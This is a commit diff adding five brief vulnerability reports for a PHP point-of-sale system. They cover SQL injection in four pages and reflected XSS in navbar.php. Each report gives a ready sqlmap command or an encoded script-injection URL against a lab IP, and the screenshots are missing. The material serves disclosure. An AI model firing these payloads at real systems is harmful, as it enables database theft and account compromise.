Add files via upload

sql in home.php.md

@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $id
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223215721857](C:\markdown\images\image-20230223215721857.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/billing/home.php?id=1"
+```
+
+![image-20230223215644678](C:\markdown\images\image-20230223215644678.png)

sql in manage_user.php.md

@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $id
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223220119515](C:\markdown\images\image-20230223220119515.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/manage_user.php?id=1"
+```
+
+![image-20230223220036687](C:\markdown\images\image-20230223220036687.png)

sql in receipt.php.md

@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $id
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223220348062](C:\markdown\images\image-20230223220348062.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/receipt.php?id=1"
+```
+
+![image-20230223220326616](C:\markdown\images\image-20230223220326616.png)

sql in sales_report.php.md

@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $month
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223220655535](C:\markdown\images\image-20230223220655535.png)
+
+exp
+
+```
+sqlmap.py -u "http://192.168.31.50/kruxton/sales_report.php?month=1"
+```
+
+![image-20230223220621112](C:\markdown\images\image-20230223220621112.png)

xss in navbar.php.md

@@ -0,0 +1,17 @@
+vendor：https://www.sourcecodester.com/
+
+download link：https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
+
+Vulnerability trigger parameter: $page
+
+The process of vulnerability discovery is as follows：
+
+![image-20230223221020985](C:\markdown\images\image-20230223221020985.png)
+
+exp
+
+```
+http://192.168.31.50/kruxton/navbar.php?page=%27%3E%3C/script%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E
+```
+
+![image-20230223220951244](C:\markdown\images\image-20230223220951244.png)